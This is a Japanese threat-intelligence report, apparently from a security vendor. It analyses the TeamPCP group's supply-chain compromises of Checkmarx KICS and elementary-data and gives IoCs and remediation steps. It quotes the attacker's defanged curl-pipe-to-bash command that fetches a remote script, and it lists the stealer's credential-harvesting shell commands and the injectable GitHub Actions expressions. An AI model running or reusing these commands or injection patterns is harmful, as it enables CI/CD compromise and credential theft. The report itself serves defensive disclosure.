サイバー脅威
「TeamPCP」によるサプライチェーン攻撃:CI/CDからの認証情報窃取に「Checkmarx KICS」と「elementary-data」を悪用
TeamPCPは広範なサプライチェーン攻撃を展開しており、最近ではCI/CDパイプラインでよく用いられる「Checkmarx KICS」や「elementary-data」を改ざんすることで、認証情報を窃取しました。
- 「TeamPCP」は大規模なサプライチェーン攻撃を展開しており、直近では4月22日に「Checkmarx KICS」を、4月24日に「elementary-data」を改ざんし、認証情報を窃取しました。
- KICSの事例では、「Docker Hub」、「VS Code/OpenVSX」、「GitHub Actions」という3つの配布チャネルを同時に侵害し、そこで盗んだnpmトークンをさらに悪用することで、後続の標的である「@bitwarden/cli」を乗っ取りました。elementary-dataの事例では、「GitHub Actions」へのスクリプトインジェクションによってプロジェクトのリリース用パイプラインを稼働させました。結果、正規のCIで署名された不正なパッケージが出来上がり、「PyPI(Python Package Index)」や「GHCR(GitHub Container Registry)」などの著名なレジストリに公開されました。
- この攻撃キャンペーンは、認証情報の大量窃取を狙ったものです。具体的には、GitHubのPAT(Personal Access Token)、npmトークン、クラウドやデータベースの認証情報、SSH鍵、Kubernetesのシークレット、開発ツールに保存されたシークレット、IaC(Infrastructure as Code)のファイル、暗号資産ウォレットのキーストアなどが含まれます。特にelementary-dataの事例では、ディスク内のファイル収集にとどまらず、AWS(Amazon Web Services)のAPIを実際に呼び出し、「Secrets Manager」や「SSM Parameter Store」からシークレットを盗み出そうとしました。
- 本攻撃によるリスクは、開発サプライチェーンの各種サービスを利用している組織に及びます。具体的には、GitHub ActionsやPyPI、Docker Hub、GHCR、VS Code拡張機能、クラウド接続のCIランナーを運用しているケースが該当します。
- elementary-dataの事例において攻撃者は、メンテナーの認証情報を盗む必要さえありませんでした。サニタイズなしのプルリクエスト・コメントを1件書き込むだけで、プロジェクトのCIを攻撃者自身のリリースチャネルに変えてしまいました。
- 重要な対策の一つは、「最小権限の原則」です。本原則を徹底していれば、仮に信頼済みのワークフローや成果物、リリースプロセスが悪用された際にも、被害を抑え込みやすくなります。また、「TrendAI Vision One™」をご利用のお客様は、防御とハンティングの両面で、今回の脅威から保護されています。本稿では、事例ごとの推奨事項や対策手順についても、詳しく取り上げます。
はじめに
「TeamPCP」は、認証情報窃取を目的とする攻撃グループであり、3月19日から4月24日にかけて、少なくとも7種に及ぶ活動を展開していました。手口として、まず、開発ツールのサプライチェーン上で、特に信頼されている成果物を特定します。次に、そのプロジェクト自体のインフラを悪用して配布チャネルを侵害し、不正なバージョンが配信されるように仕向けます。そして、管理者やセキュリティ監視によって不正が検知される前に、認証情報を盗み取ります。これまでに、5つのプログラミングエコシステムと3種のレジストリが標的として狙われました。
直近2件の事例では、攻撃者が異なるアプローチを取りながらも、最終的に同様の成果を得ている点で特徴的です。まず、第1の事例はセキュリティスキャナ「KICS」を狙ったものであり、非常に精巧な運用方式を敷いていました。具体的には、3つの配布チャネルを同時に侵害し、そこから不正なランタイムを送り込むことで、難読化状態のペイロードを実行させました。さらに、被害者から盗み出した認証情報を転用することで、24時間以内に下流側(二次被害を受ける側)のnpm乗っ取りを行うに至りました。
一方、データ可観測性ツール「elementary-data」を狙った事例は、技術的に簡素でありながら、より深刻な意味合いを持つものです。攻撃者は、GitHubのプルリクエストに1件のコメントを書き込むだけでランナートークンを入手し、タグ付きのリリースコミットを偽装し、プロジェクト自体の署名用インフラを呼び出すに至りました。こうして出来上がった不正なパッケージは、他ならぬプロジェクト側でビルドされたものであるため、PyPIの標準的な検証機構をすべて通過してしまいました。
本稿では、両事例を同一攻撃キャンペーンに属するものとして位置づけ、手口の共通性やペイロードの差異を分析します。さらに、技術的特徴をMITRE ATT&CKに紐づけ、推奨される対策の手順や、検知すべき侵入の痕跡(IoC:Indicators of Compromise)を提示します。
攻撃グループ「TeamPCP」の特徴
TeamPCPは金銭目当てで動くグループであり、サプライチェーン攻撃を立て続けに実行しています。TrendAI™ Researchは、本グループを「SHADOW-WATER-058」の識別名で追跡しています。この名前は、4月22日の「Checkmarx KICS」に対する事例の発生前に割り当てたものであり、過去に確認された攻撃用インフラやツール、運用形態にちなんでいます。
KICSの事例直後、Xのアカウント「@pcpcats」より、以下のような自白とも見られる投稿がありました。
Thank you OSS distribution for another very successful day at PCP inc.(訳:OSS配布のおかげで、「PCP inc.」は今日も大成功をおさめました。ありがとう。)
TrendAI™では、以前から内部的に「TeamPCP」の呼称を用いており、ちょうどその名前に合致する形となりました。
この攻撃キャンペーンに関する帰属判断の確信度は、全体として「中~高」と見ています。ただし、活動毎に入手できた証跡の量や質に差があるため、その評価にも幅があります。今回の帰属判断を支えているのは、下記に示す4つの特性であり、各活動で共通に見られたものです。
- C&Cサーバの構成や運用方法に一貫したパターンが見られる。
- 情報流出用のHTTPヘッダーやアーカイブファイル名に、攻撃者固有の特徴が見られる。
- Pythonを標的としたケースでは、いずれも配布手段として「.pthファイル」を悪用している。
- LiteLLM、Xinference、elementary-dataの各ペイロードに埋め込まれたXOR暗号化シード値が、いずれも、同一の「SessionメッセンジャーID」となっている。
上述のSessionメッセンジャーIDは、復号鍵の一部であると同時に、背後にいる運用者への連絡先でもあります。そして、異なる3つのパッケージ侵害事例で、同じIDが確認されました。TrendAIによるデータセットの中では、これが、各活動に共通する特徴として最も明確なものです。
一方、攻撃者の正体や出身地、国家との繋がりについて、十分な確信は得られていません。公開情報に基づくと、TeamPCPは、ランサムウェアグループ「Vect」や「CipherForce」と提携している旨を主張しています。しかしTrendAI™では、その裏付けを取れていません。攻撃グループ「LAPSUS$」との繋がりも取り沙汰されていますが、公開情報のいずれを見ても、確証に至るものではありません。
上述のランサムウェアグループ「Vect」は2026年4月15日から被害者情報を公表し始めており、侵入に使った認証情報は、TeamPCPが盗み出したものとされています。時間軸を見返すと、TeamPCPは、認証情報の入手から数週間以内に、収益化に向けて動き出したことになります。
2026年3月~4月に確認されたTeamPCPの活動履歴を、以降に示します。
- 3月19日:脆弱性スキャナ「Trivy」の「GitHub Action(GitHubの自動化ワークフロー)」が侵害された。これが、TeamPCPによる最初の活動と見られる。
- 3月23日:盗まれたPAT(Personal Access Token:個人アクセストークン)により、KICSのGitHub Actionが侵害された。
- 3月23日~24日:OpenVSX(VS Code拡張機能のレジストリ)にある「Checkmarx VS Code拡張機能」と、LiteLLM用PyPIパッケージ(v1.82.7/1.82.8)が侵害された。
- 3月27日:通信プラットフォーム「Telnyx」のPyPIパッケージが侵害された(前回の記事で解説)。
- 4月15日:ランサムウェアグループ「Vect」が被害者リストを公表し始めた。そこには、TeamPCPが盗み出した認証情報に紐付くデータが含まれていた。
- 4月22日:XinferenceのPyPIパッケージに加え、Checkmarx KICSのDocker Hubイメージ、VS Code拡張機能、GitHub Actionが侵害された(本稿で着目する第1の事例)。
- 4月23日:KICS侵害で盗まれたnpmトークンが利用され、下流側の標的としてコマンドラインツール「@bitwarden/cli(v2026.4.0)」が乗っ取られた。
- 4月24日:GitHub Actionsへのスクリプトインジェクションにより、elementary-dataのPyPIパッケージとGHCRイメージが侵害された(本稿で着目する第2の事例)。
一連の攻撃キャンペーンで確認された特徴的な手口や傾向を、以下に示します。
- JavaScript/Bunランタイムを利用してペイロードを配布した(KICS、Bitwarden CLI)。
- Pythonの.pthファイルを利用してペイロードを配布した(LiteLLM、Xinference、elementary-data)。
- 暗号化方式として「AES-256-GCM」や「RSA OAEP-SHA256」を利用した(KICS、Bitwarden)。
- 暗号化方式として「MD5キーストリームによるXOR演算」を利用した(elementary-data、LiteLLM、Xinference)。
- 複数のPythonペイロードを通して、同一のSessionメッセンジャーIDをXORシード値として流用した。
- ステージング用GitHubリポジトリでは、映画・小説「Dune/デューン 砂の惑星」に登場する語(例:sardaukar、fremen、atreides、sandworm)を用いた命名規則を適用した。具体的には「{デューン関連語}-{デューン関連語}-{3桁の数字}」という形式に従っていた。説明欄には、「Shai-Hulud: The Third Coming」と書かれていた。
- コミットメッセージに「LongLiveTheResistanceAgainstMachines」というマーカー文字列を埋め込んだ。これは、PATの一時保管や受け渡しの目印(デッドドロップ)として機能していた。
- 情報流出用のHTTPヘッダー内に、自身の存在感を示すような文字列を意図的に含めた。例えば「X-Rise-To-The-Trinny: agree」(elementary-data)、「X-Filename: tpcp.tar.gz」(LiteLLM)、「X-QT-SR: 14」(Xinference)などが挙げられる。
攻撃キャンペーンの分析
TeamPCPの攻撃活動を見渡すと、エコシステムをまたいで共通の手口が浮かび上がります。標的のレジストリや開発言語、配布チャネルを問わず、以下に示す3つの傾向が一貫して見られます。
CI/CDの信頼関係をアタックサーフェスとする:すべての侵入パターンにおいて、ビルドパイプライン上で暗黙的に信頼される存在が、悪用されています。たとえば、ダイジェストではなくタグでプルされるDockerイメージ、既知のパブリッシャーが公開したVS Code拡張機能、プロジェクト自身の「GITHUB_TOKEN(アクセストークン)」で動くGitHub Actionsワークフロー、プロジェクトのCI自ら署名・公開したPyPIパッケージなどです。いずれの活動においても、攻撃者は、エンドユーザのシステムを直接侵害する必要がありませんでした。侵害の実作業を行うのは、ほかならぬパイプライン自身だからです。
狙いを認証情報窃取に限定:ペイロードの複雑さは活動毎に異なりますが、最終的に攻撃者が手にするものは、同じです。それは、開発者の認証情報やクラウドプロバイダのキー、SSH鍵、CI/CDトークンを詰め込んだ圧縮アーカイブであり、パイプライン処理が終わる前に、攻撃者の用意したエンドポイントに送り出されます。KICSの事例では、盗み出されたnpmトークンが、わずか24時間以内にBitwardenを狙った攻撃にそのまま転用されました。盗み出した認証情報は、攻撃者にとって、すぐに転用可能な資産として映ります。
ペイロード内で自身の存在感を示す:攻撃者は、きわめて特徴的なHTTPヘッダー(「X-Rise-To-The-Trinny: agree」、「X-Filename: tpcp.tar.gz」)やアーカイブ名(trin.tar.gz)、同一のXOR鍵(Session ID)を利用する他、「Dune」をテーマにしたステージング用リポジトリを管理しています。いずれも、攻撃の遂行に必要なものとは言えず、自らの「ブランド」としてあえて残したものでしょう。同じパターンが6週間にわたるキャンペーンを通して続くというのは、かなり異例です。金銭目当てで動く攻撃者は多くの場合、自身の特定や識別に繋がる痕跡をできる限り消し去ろうとするからです。それでも自身に固有の情報を残し続けているとなると、よほど運用能力に自信があるのか、収益化と並んで「悪名」も追求しているのか、そのどちらかと考えられます。
事例調査その1:Checkmarx KICS - 複数種の配布経路を同時侵害(4月22日)
2026年4月22日の12:35頃(UTC)にTeamPCPは、公式Docker Hubリポジトリ「checkmarx/kics」に不正なイメージをプッシュしました。同時に、VS CodeやOpenVSXの拡張機能を侵害した他、GitHub Actionsの「checkmarx/ast-github-action」を改ざんしました。この3チャネル同時攻撃は約83分間にわたって続き、最終的に、Dockerの内部監視によって検知されました。
これを受けてCheckmarxは、侵害の発生と修復対応の実施について発表しました。攻撃者が初期アクセスをどのように実行したかについて、現時点の公開情報だけでは、正確に特定できません。しかし、これまでのTeamPCPによる行動パターンを踏まえれば、過去の活動で盗み出したGitHub PATを悪用した、と考えるのが自然です。裏づけとなる手がかりもあります。3月のTrivyとKICSに対するGitHub Actions侵害で見られたコミットメッセージ内のマーカーが、4月22日のペイロード内部にも、そのまま現れていたのです。
侵害されたアーティファクトは、以下のとおりです。
- Docker Hub:イメージリポジトリ「checkmarx/kics」にある6つのタグ(alpine、debian、latest、v2.1.20、v2.1.20-debian、架空のv2.1.21)が上書きされた。
- VS CodeとOpenVSX:拡張機能「cx-dev-assist(v1.17.0とv1.19.0)」と「ast-results(v2.63.0とv2.66.0)」が不正なバージョンに差し替えられた。
- GitHub Actions:再利用可能アクションである「checkmarx/ast-github-action」が改ざんされ、不正なワークフロー「format-check.yml」が仕込まれた。本ワークフローは、式「${{ toJSON(secrets) }}」を用いて、リポジトリ内の全シークレットをシリアライズする。
中核のペイロード「mcpAddon.js(約10 MB)」は、Bunランタイム上で動作する情報窃取ツール(スティーラー)です。Bunランタイム自体は、改ざん済みのアーティファクトにより、被害システム側にダウンロードされます。このダウンロードも、CI/CDパイプラインからは「正常なKICSスキャン処理」として映るため、不審な挙動として検知されることはありません。
本スティーラーが盗み取る情報は、多岐にわたります。具体的にはGitHub PAT、npmトークン、AWS/Azure/GCPの認証情報、SSH鍵、シェル履歴、AI/MCP関連の設定ファイル(「~/.claude.json」や「~/.claude/mcp.json」)などが含まれます。
盗み出されたデータは、「AES-256-GCM」の方式で暗号化されます。AESの共通鍵自体も、攻撃者が埋め込んだ公開鍵を用いて「RSA OAEP-SHA256」の方式で暗号化されます。こうして二重に守られたデータは、Checkmarxを装ったC&C(Command and Control:遠隔操作)のエンドポイントに送り出されます。さらに今回は、予備用のデッドドロップ経路も組まれていました。具体的には、小説「Dune」を思わせる名前の公開GitHubリポジトリを自動作成し、ディレクトリ「results」の配下に認証情報を暗号化状態で保存する仕組みとなっていました。
KICS攻撃の発生から24時間以内に、今度は盗み出されたnpmトークン自体が悪用され、「@bitwarden/cli v2026.4.0」の偽バージョンが公開されるに至りました。偽バージョンが出回っていた期間中、マルウェアの射程は、「Bitwarden CLI」をインストールした開発者やCIパイプラインにまで波及していたのです。
Bitwardenのペイロードには、C&Cドメイン切り替え用のフォールバック機構が組み込まれていました。メインのC&Cに到達できない場合、ペイロードはGitHubのコミット検索APIに所定のマーカーを問い合わせ、合致したコミットメッセージから、予備の流出先ドメイン(RSA署名つき)を取り出します。この仕組みにより、ペイロードを再配布しなくても、インフラを切り替えられるようになっていました。Bitwardenの確認によれば、93分の暴露期間中に、およそ334件のダウンロードが発生していました。TrendAIがBitwardenとKICSのペイロードを並べて比較したところ、著しい類似性が見られました。具体的にはC&Cのドメイン名、IPアドレス、暗号化方式、Bunランタイムのバージョン、コミットのマーカー文字列、そしてリポジトリの命名パターンなどが一致していました。サードパーティーのリサーチャーがBitwardenのペイロードを解除した際にも、同様の結果が得られています。
事例調査その2:elementary-data - GitHub Actionsへのスクリプトインジェクション(4月24日)
TeamPCPは2026年4月22日、ちょうどXinferenceに対する攻撃が終わった日に、攻撃用アカウントを新たに1つ用意していました。そして4月24日の22:10:14(UTC)、当該アカウントから、オープン状態となっているelementary-dataのプルリクエストに、下記の1行コメントが投稿されました。
curl -sSL hxxps[://]litter[.]catbox[.]moe/iqesmbhukgd2c7hq[.]sh | bash
以下の¥問題のワークフローは、
.github/workflows/update_pylon_issue.yml
次の式をサニタイズ(危険なコードなどを無害化する措置)することなく、「run:」のブロック内に直接埋め込みました。
${{ github.event.comment.body }}
そしてGitHub Actionsは、こうした式をbashに渡す前に展開するため、仕込まれた攻撃用コマンドをそのままランナー上で起動してしまいました。さらに悪いことに、ランナーが持つトークン「GITHUB_TOKEN」には、リポジトリへの書き込み権限も付与されていました。
結果、ジョブ「handle_comment」が2時間半以上にわたって動き続けました。背後で攻撃者は、先のトークンを利用し、不正な「elementary.pth」の埋め込まれたorphanタグ付きのコミットを作成しました。そして、イベントトリガー「workflow_dispatch」経由で「tag=v0.23.3」を指定し、正規のワークフロー「Release package」を起動させました。こうして生成されたwheelやsdistには、プロジェクト本来の暗号署名がそのまま付与されています。攻撃者はメンテナーの認証情報を一切侵害することなく、プロジェクト自体のCIに、不正なリリースのビルドや署名作業を肩代わりさせたのです。
不正なwheelがPyPIに公開されたのは、22:20:47(UTC)のことです。GHCR上のタグ「:latest」も、同じタイミングで上書きされました。elementary-dataは、月間ダウンロード数110万を超える著名なプロジェクトです。その不正なバージョンが、4月24日の22:20:47から翌25日のいずれかの時点まで、公開されていたことになります。
不正な「elementary.pth」は、Pythonの「.pthインポート機能」を悪用します。.pthファイル内の「import」で始まる行は、インタプリタの起動時に実行されます。つまり、アプリケーションコードよりも先に動き出すわけです。そのため、影響を受けたホストでは、Pythonインタプリタが起動するたびに、このペイロードが稼働します。他プログラムが内部で子Pythonプロセスを立ち上げた場合も、同様です。そして、elementaryパッケージをインポートしているかどうかは、関係ありません。
ペイロード解析:elementary-dataの事例で利用された認証情報スティーラー
本スティーラーの外部ローダは、46KBのASCII Pythonファイルです。その改行コードはCRLFで、ファイル全体のエントロピーは3.72しかありません。これはあくまで平文のデータであり、圧縮や暗号化がかけられているわけではありません。つまり本ペイロードは、圧縮などによって中身を隠しているわけでなく、純粋なPython言語で認証情報収集の機能を実装しています。それにも関わらず、従来型マルウェアに特有のシグネチャを含んでいないため、かえって多くのアンチウイルスエンジンを回避できてしまいます。これは意図的な設計であり、パターンベースの静的検査エンジンに対しては、下手に従来型の難読化を施すよりも、高い回避性能を発揮すると思われます。
MD5キーストリームのXOR鍵として攻撃者自身のSession IDを利用
外部ローダは、暗号化方式として、独自仕様によるMD5キーストリームのXOR演算を利用します。その復号鍵は、攻撃者の連絡先情報そのものであり、以下の通り、ファイル先頭部に平文で埋め込まれています。
for any questions: contact {攻撃者のSession ID} on session
復号処理では、シード値に対してMD5ハッシュを693回にわたって繰り返し適用し、必要となる11,078バイト分のキーストリームを生成します。これを使用し、暗号化データを1バイトずつXOR演算で復号します。この復号結果は、「\xNN形式」でエスケープしたバイト列であり、44,325文字に及ぶ単一行のBLOBとして保存されます。このような形式に対し、一般的なコードフォーマッタや静的解析ツールでは無力であり、.pthファイルにざっと目を通す程度のコードレビューでは、何も割り出せないでしょう。
この「鍵」には、2つの役割があります。ひとつはペイロードを復号すること、もうひとつは攻撃者の連絡先を外部に知らせることです。同じSessionメッセンジャーIDは、LiteLLMやXinferenceのペイロードでも確認されています。TrendAIのデータセットでは、このマーカーが、各活動をまたいでTeamPCPを識別する上での主要な手がかりとなっています。
11,078バイトの内部スティーラーは、下記コマンドを通して実行されます。
subprocess.run([sys.executable, "-"], input=bytes(jit))
内部スティーラーのコード自体は標準入力経由で渡されるだけで、.pyファイルとしてディスクに書き出されることはありません。実行が終わると、「tempfile.TemporaryDirectory」のコンテキストマネージャが、認証情報のアーカイブを含むすべての生成物を自動削除します。このように本スティーラーは、情報を一度だけ吸い上げて姿を消す、使い捨ての設計となっています。処理の完了後にディスクに残り続けるのは、マーカーファイル1個だけです。
認証情報の収集:6カテゴリに及ぶ80以上のパス
内部スティーラーを復号解析した結果、下表のように、80以上の認証情報ファイルパスと、21種のシェル偵察コマンドが確認されました。
21種のシェル偵察コマンドとしては、システム情報を取得する「hostname」、「whoami」、「uname -a」、ネットワーク状況を確認する「ip addr」、「ip route」、環境変数を出力する「printenv」、「env | grep AWS_」、Kubernetesのシークレットを入手する「kubectl get secrets --all-namespaces」、WireGuardの設定を読み出す「wg showconf all」、GitHubの認証トークンを取り出す「gh auth token」、SSH成功ログを抽出する「cat /var/log/auth.log | grep Accepted | tail -200」が含まれていました。これに加えて、.env、.json、.yml、.yamlの各ファイルを再帰検索し、APIキーのパターンを抜き出す処理も見られました。
AWSクラウドAPIの直接利用
環境変数やEC2 IMDSからAWSの認証情報を取得できる場合、elementary-dataの事例で使用されたスティーラーは、感染システム内のファイルだけでなく、AWSクラウドからも情報収集を試みます。その際、SigV4で署名したAPI呼び出しを直接実行します。以下に、APIの具体例を示します。
- secretsmanager:ListSecrets - アカウントからアクセス可能なシークレット名をすべて取得する。
- secretsmanager:GetSecretValue - 取得した各シークレットの平文値を抽出する。
- ssm:DescribeParameters - ストレージサービス「SSM Parameter Store」に含まれるエントリを列挙する。
これら3つのAPI操作名は、監視ログサービス「CloudTrail」のイベント名にそのまま対応します。CloudTrailを有効化している防御側では、当該操作の呼び出し元を特定し、本来Secrets Managerにアクセスする必要のないIAMエンティティやCI/CDランナー・プリンシパルが含まれていないか、調べるとよいでしょう。たとえば、データパイプライン用ロールから予期せずAPI「secretsmanager:ListSecrets」が呼ばれていれば、脅威ハンティングの重要な手がかりになります。このAPI操作が正当な理由でアプリケーションコードから呼ばれることは、かなり稀です。一方、攻撃者にとっては、認証情報窃取に好都合な手段となっています。
こうしたAPIの直接悪用は、本ペイロードで最も注意すべき挙動と言えます。被害範囲がディスク内の認証情報ファイルにとどまらず、ホスト外のマネージドシークレットにまで飛び火するからです。たとえば、特定タスク向けのIAMロールしか持たず、通常ならばSecrets Managerに触れないようなCIランナーであっても、ひとたびTeamPCPに侵入されれば、話は別です。当該ロールで列挙可能なシークレットをすべて抜き出す「のぞき穴」へと、変貌してしまうのです。
情報の持ち出しと痕跡の隠滅
外部ローダは、内部スティーラーからの出力をすべて圧縮ファイル「trin.tar.gz」に格納し、HTTPS POSTリクエストでC&Cサーバに送信します。そのHTTPSヘッダーには、攻撃者のブランド情報に相当する文字列も埋め込まれています。C&Cサーバ側では、そのヘッダー値が完全に一致するリクエストしか受け付けません。いわば「合言葉」を知らないアクセスを弾くことで、スキャナなどによる検知を防いでいます。本調査の時点で、C&Cサーバ名はCloudflare背後のIPアドレスとして解決され、HTTP 404を返す状態でした。これまでの活動で確認されたC&Cのライフサイクルを踏まえると、背後にいる攻撃者は、作戦のたびに手早くインフラを切り替えているものと見られます。ローダの処理が終了すると、一時ディレクトリのコンテキストマネージャが「trin.tar.gz」などの生成物を削除します。ディスク上には、永続化用のマーカーファイル1つだけが残されます。
上述したヘッダーの特質は、LiteLLMやXinferenceのペイロードでも確認されています。Pythonを標的としたこれまでの全活動において、攻撃者は自身の存在感を示すための文字列をヘッダー内に埋め込み続けています。これが、ネットワーク層での有効な検知指標となり、C&Cドメインの変更後も維持されます。
進化する手口: 活動間での差異を分析
2つの事例を比べると、攻撃者は同一の目的を持ちながらも、配布手段や暗号方式などを精巧に調整している様子がうかがえます。具体例を、以下に示します。
配布方式のスリム化:KICSの事例では、Bunランタイム上で動作するJavaScriptが使用されました。ペイロードのサイズは約10MBであり、被害者側でランタイム用バイナリを追加でダウンロードする必要があります。一方、elementary-dataの事例で使われたのは、わずか46KBの.pthファイルであり、Pythonインタプリタの開始時に、追加の依存関係なしで動作します。この「.pth方式」は、「JavaScript+Bun方式」に比べてサイズが小さく、痕跡も残りにくく、インストール済みパッケージにも左右されず、あらゆるPython環境で機能します。
暗号化方式の取捨選択:KICSの事例では、「AES-256-GCM」と「RSA OAEP-SHA256」を組み合わせた教科書どおりのハイブリッド暗号方式が使用されました。被害者毎に固有のセッション鍵を用いて窃取データを暗号化し、そのセッション鍵自体も、攻撃者にしか復号できないように保護します。一方、elementary-dataの事例では、MD5キーストリームによる単純なXOR演算が利用されました。暗号技術としてはこちらの方が弱いですが、そもそも被害者側でデータを復号する必要のないペイロードにとっては、十分な役目を果たします。このように攻撃者は、ただ強力な暗号技術を闇雲に取り入れるのではなく、作戦上の必要性に基づいて取捨選択しているように見受けられます。
初期アクセスの効率:KICSの事例において攻撃者は、Docker HubとVS Codeパブリッシャーに対する不正な書き込み権限を、3チャネル同時に確保する必要がありました。これは相応の労力を要し、粗が出やすくなります。一方elementary-dataの事例では、公開リポジトリのプルリクエストに1件のコメントを書き込むだけで事足りました。しかも、ここで悪用された構造的な弱点は、何千にも及ぶオープンソースプロジェクトに、同様に潜んでいます。
C&Cインフラの強靭性:KICSを狙った活動では、署名付きのGitHubコミット経由でフォールバック用ドメインを取得する仕組みがあり、ペイロードを再配布することなくC&Cを切り替えられるようになっていました。一方、elementary-dataを狙った活動では、確認した範囲でフォールバックの仕組みがなく、シンプルなC&C構成にとどまっていました。つまり攻撃者は、高度に洗練されたC&Cアーキテクチャを保有しながらも、それをすぐに使うのではなく、より被害範囲が広く、盗んだ認証情報も長期的に使えそうな作戦のために温存していると見込まれます。Bitwarden CLIの認証情報は、CIランナーのトークンより長期に利用できる可能性が高いためです。
こうした変遷を見渡すと、ひとつの傾向が見えてきます。それは、新しい活動が始まるたびに、初期アクセスの手法が個別のバグや漏洩した認証情報に頼ったものではなく、エコシステムそのものの構造的弱点に寄ってきている、ということです。2026年3月にはGitHub Actionsの権限を悪用していたものが、4月24日には、権限すら一切要らないコメント注入にまで踏み込みました。一方、ペイロード側の暗号化や難読化の技術は、常に高度化しているわけではありません。むしろ攻撃者は、盗み出せる認証情報の価値に応じて、暗号化の技術を使い分けています。そして初期アクセスについては、より突き崩しやすい構造的な弱点に焦点を移しているのです。
セキュリティ推奨事項
本稿で取り上げた両事例に有効な対策を、以降に示します。対象となるDockerタグや拡張機能、パッケージのうち、影響が確認されたものから優先的に対処することを推奨します。
「Checkmarx KICS」の事例(4月22日 - Docker Hub、VS Code、GitHub Actions)については、以下の対応が有効です。
- 2026年4月22日の12:35〜15:41頃(UTC)にDockerリポジトリ「checkmarx/kics」の所定タグ(alpine、debian、latest、v2.1.20、v2.1.20-debian、v2.1.21、v2.1.21-debianのいずれか)を取得した環境は、侵害されたものとして扱ってください。また、「VS Code拡張機能」の「cx-dev-assist v1.17.0/v1.19.0」や「ast-results v2.63.0/v2.66.0」を導入していた場合、「checkmarx/ast-github-action v2.3.36以前」を使っていた場合、「@bitwarden/cli v2026.4.0」をインストールしていた場合も、同様に扱ってください。
- 認証情報の入れ替え(ローテーション)を行う際には、侵害された可能性のあるCI環境内ではなく、クリーンなホスト上から実行してください。対象の認証情報として、「GitHub PAT(ghp_*、gho_*)」、「AWS IAMのアクセスキー」、「Azure認証情報やサービスプリンシパルのシークレット」、「GCPのサービスアカウントキー」、「npmトークン(npm_*)」、「~/.ssh/id_*で始まるSSH秘密鍵」、「.envや.git-credentials内のシークレット」などが挙げられます。加えて、攻撃ペイロードは「~/.claude.json」や「~/.kiro/settings/mcp.json」などを狙い撃ちにしているため、AI/MCPツールの認証情報も漏れなく更新してください。
- 各製品を安全なバージョンにアップデートしてください。対象は、「Docker checkmarx/kics:v2.1.20(復旧済みバージョン:利用前に、クリーンであると確認済みのダイジェストと照合してください)」、「VS Code cx-dev-assist v1.18.0およびast-results v2.64.0」、「GitHub Action checkmarx/ast-github-action@v2.3.36」、「npm @bitwarden/cli v2026.3.0以前」となります。
- GitHub Actionsのログから、ワークフロー「format-check.yml」の実行履歴を検査してください。また、自動作成された公開リポジトリも探し出してください。手がかりとなるのは、命名パターンと説明文です。命名パターンは「{英単語}-{英単語}-{3桁数字}」という、小説「Dune」を思わせる形式になっています。説明文には、「Shai-Hulud: The Third Coming」と書かれているはずです。こうしたリポジトリには、攻撃者がまだ未回収の暗号化済み認証情報が残っている可能性があります。
- Bunランタイムの痕跡を検索してください。想定外の作業ディレクトリにbunやbun.exeのバイナリが見つかれば、たとえ情報の外部送信が中途で阻止されたとしても、ペイロードが実行された証拠となります。
- 本稿で記載したC&Cインフラを、ネットワーク境界でブロックしてください。詳細は、末尾の節「侵入の痕跡(IoC:Indicators of Compromise)」をご参照ください。
「elementary-data」の事例(4月24日 – PyPI、GHCR)については、以下の対応が有効です。
- 「elementary-data==0.23.3」がインストールされたホストは、侵害されたものとして扱ってください。また、改ざん版が配布されていた期間に「ghcr[.]io/elementary-data/elementary:0[.]23[.]3および:latest」からコンテナを取得して実行したホストも、同様です。問題の「.pthペイロード」は、Pythonインタプリタの開始時に発動します。そのため、インストール後にホスト上で動いたPythonプロセスは、いずれも本ペイロードを稼働させていた可能性があります。
- 優先順に従って認証情報の入れ替え(ローテーション)を行ってください。最初に手を付けるべきは、AWSのアクセスキーとセッショントークン、GCPのサービスアカウントキー、Azureの認証情報、Kubernetesのサービスアカウントトークンです。続いて、接続先ホストのauthorized_keys、GitHub PAT、HashiCorp Vaultのトークン、npmトークン、そして「.env」や「.env.production」に含まれる全シークレットも入れ替えてください。ホスト上に暗号資産ウォレットの秘密鍵が存在する場合、すでに資金が危険にさらされている可能性もあるため、漏洩した前提で扱ってください。
- ペイロードの痕跡が残っていないか検証してください。具体例として、「$TMPDIR」の配下に置かれた永続化用マーカーファイル(末尾の節「侵入の痕跡」を参照)、「Python site-packages」にある100KB超の「elementary.pth」が挙げられます。
- 「elementary-data==0.23.4(メンテナーが安全性を確認したもの)」をインストールしてください。Dockerを利用している場合、末尾の節「侵害の痕跡」に記載した「侵害前」のベースラインダイジェストに固定してください。
- ネットワークログを調べ、本稿に記載した送信先ドメインやステージャ用ドメインへの接続が無いか、確認してください(末尾の節「侵害の痕跡」を参照)。一方でも見つかれば、情報流出の試みがあったことが確定するため、インシデント応答チームとの連携をご検討ください。
両事例に共通する構造的対策を、以下に示します。
- 組織内リポジトリにあるGitHub Actionsのワークフローを洗い出し、ユーザ側で操作可能な式が「run:」のブロック内に直接埋め込まれていないか、確認してください(例:${{ github.event.comment.body }}、${{ github.event.issue.title }}またはそれに準じた書き方)。これが、elementary-dataへの攻撃を誘発した構造的脆弱性であり オープンソースプロジェクト全般を通して広く見られるものです。
- Dockerイメージの取得時には、タグではなく、検証済みのダイジェストに固定してください。また、CIエージェント環境では、外向きの通信を制限してください。許可リストにないエンドポイントへのHTTPS接続をブロックしておけば、今回挙げたどちらのペイロードも、ランナーからデータを持ち出せなかったはずです。
セキュリティプラットフォーム「TrendAI Vision One™」との連携
「TrendAI Vision One™ - XDR」は、「Checkmarx KICS」の事例に関して、幾重もの検知手段を備えています。1つ目はパターンベースの検知であり、KICSの認証情報スティーラーと、Bitwarden CLIの亜種を発見します。2つ目は、挙動ベースの検知です。BunランタイムやJavaScriptランタイムの挙動を分析することで、AWSやAzure、GCP、GitHub CLIの各経路から認証情報を盗み取る動きを検知します。3つ目は、ネットワーク監視のシグネチャです。Bunランタイムのダウンロード通信、GitHubのコミット検索を悪用したデッドドロップ型C&Cの挙動、CheckmarxになりすましたHTTPS経由での情報流出などを、それぞれ的確に捕えます。具体的な検知名やシグネチャ識別子については、末尾の節「侵害の痕跡」をご参照ください。
elementary-dataの事例については、パターンベースの検知機能を現在準備中です。ただし、「TrendAI Vision One™ XDR」をご利用のお客様は、以下の挙動を手がかりに、両攻撃をまたいだ脅威ハンティングを行うことが可能です。
- Pythonインタープリタが、起動と同時に外向きHTTPS通信を開始する。
- 一時ディレクトリに「trin.tar.gz」や「.trinny-security-update」などのマーカーファイルが作成される。
- C&Cドメイン(末尾の節「侵入の痕跡」を参照)へのDNS問い合わせが発生している。
- 外向きHTTPリクエストの中に、今回の攻撃者に特有のヘッダーが埋め込まれている。
